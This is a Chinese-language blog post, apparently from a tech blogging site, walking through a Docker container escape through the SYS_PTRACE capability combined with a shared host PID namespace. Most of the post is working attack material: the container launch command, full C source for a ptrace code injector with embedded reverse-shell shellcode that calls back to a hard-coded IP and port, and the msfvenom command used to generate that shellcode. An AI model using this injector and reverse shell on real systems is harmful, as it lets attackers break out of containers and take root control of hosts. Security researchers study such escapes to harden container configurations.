Docker逃逸---SYS_PTRACE浅析

一、产生原因

用户授予了容器SYS_PTRACE权限,并且与宿主机共享一个进程命名空间(--pid=host),使得容器内可以查看到宿主机的进程,攻击者可以利用进程注入,反弹shell,从而实现逃逸

二、利用条件

1、容器有SYS_PTRACE权限

2、与宿主机共享一个进程命名空间

3、容器以root权限运行

三、复现过程

1、创建容器,授予SYS_PTRACE权限,以host进程模式运行

注意我这里用的是CentOS,如果是Ubuntu可能会有安全设置选项,需要将安全设置选项设置为

apparmor=unconfined

docker run -itd --pid=host --cap-add=SYS_PTRACE ubuntu:18.04

进入容器,查看当前进程,可以看到宿主机的进程 

2、进程注入

https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

#define SHELLCODE_SIZE 87

unsigned char *shellcode = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x09\x1d\xc0\xa8\xef\x81\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";

int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
        {
          perror ("ptrace(POKETEXT):");
          return -1;
        }
    }
  return 0;
}

int
main (int argc, char *argv[])
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

  if (argc != 2)
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);

  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }

  printf ("+ Waiting for process...\n");
  wait (NULL);

  printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  

  /* Inject code into current RPI position */

  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);

  regs.rip += 2;
  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);

  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");

 
  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
        {
          perror ("ptrace(DETACH):");
          exit (1);
        }
  return 0;

}

这里的shellcode我用的是msf生成的

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.239.129 LPORT=2333 -f c

gcc编译

gcc inject.c -o inject

这里容器内可能没有gcc环境,做实验的话我们就可以直接在容器外编译好然后复制进容器内

docker cp inject 2b9158cdb3e5:/

3、运行进程注入代码,msf监听

注意这里记得修改成自己的ip和端口

运行inject,ps -ef查看宿主机有哪些进程,选择一个以root身份运行的进程

成功反弹宿主机shell

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值